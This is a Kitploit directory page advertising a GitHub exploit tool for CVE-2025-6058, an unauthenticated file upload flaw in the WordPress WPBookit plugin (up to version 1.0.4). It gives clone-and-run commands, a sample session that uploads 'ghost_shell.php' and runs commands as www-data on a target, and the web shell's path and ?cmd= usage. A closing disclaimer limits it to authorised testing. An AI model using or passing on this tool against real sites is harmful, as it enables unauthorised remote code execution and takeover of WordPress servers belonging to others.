Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-6058 — WordPress WPBookit ≤ 1.0.4 Unauthenticated File Upload Exploit | Kitploit
Tools/GitHubGitHub/0xgh057r3c0n/cve-2025-6058
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHub0xgh057r3c0n/cve-2025-6058

CVE-2025-6058

WordPress WPBookit ≤ 1.0.4 Unauthenticated File Upload Exploit

View Repository
121 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

WordPress Logo

🚨 CVE-2025-6058 — WordPress WPBookit ≤ 1.0.4 Unauthenticated File Upload Exploit

Unauthenticated Arbitrary File Upload Exploit targeting WordPress WPBookit Plugin (≤ 1.0.4)
Exploit allows remote shell upload and full command execution.

Author: 0xgh057r3c0n

📌 About The Vulnerability

CVE-2025-6058 is a critical vulnerability affecting the WPBookit plugin on WordPress CMS. An unauthenticated attacker can abuse a vulnerable AJAX endpoint to upload arbitrary PHP files, enabling Remote Code Execution (RCE).

  • 🎯 Target: WordPress CMS (vulnerable WPBookit plugin)
  • 📦 Plugin Affected: WPBookit ≤ 1.0.4
  • ⚠️ Risk Level: Critical (Unauthenticated RCE)

✨ Features

  • 🔍 Auto-detects WordPress plugin version via README.txt
  • 📤 Uploads lightweight PHP shell (ghost_shell.php)
  • 🖥️ Interactive shell (Parrot-style prompt)
  • 🌐 Unauthenticated — No login required
  • 🎨 Colorized CLI Output

🚀 Usage Guide

💻 Requirements

python3 --version
pip install requests

⚙️ Exploit Execution

git clone https://github.com/0xgh057r3c0n/CVE-2025-6058.git
cd CVE-2025-6058
python3 CVE-2025-6058.py -u https://target-wordpress-site.com

🛠️ Example Shell Session

python3 CVE-2025-6058.py -u https://victim.com

[>] Checking plugin version...
[+] Found plugin version: 1.0.4
[!] Target version is vulnerable.

[>] Uploading shell...
[+] Upload successful.
[+] Shell URL: https://victim.com/wp-content/uploads/2025/07/ghost_shell.php?cmd=whoami

[!] Interactive GhostShell Started — type 'exit' to quit.

┌─[gaurav@0xgh057r3c0n]─[/var/www/html]
└──╼ $ whoami
www-data

📂 Shell Details

  • File Name: ghost_shell.php
  • Path: /wp-content/uploads/YYYY/MM/ghost_shell.php
  • Example:
https://target-wordpress-site.com/wp-content/uploads/2025/07/ghost_shell.php?cmd=whoami

⚠️ Legal Disclaimer

This exploit is developed for educational purposes and authorized penetration testing only. Unauthorized use against systems without explicit consent is illegal.

📄 License

Released under MIT License

Made for WordPress security auditing 🛡️ by 0xgh057r3c0n

Download Tool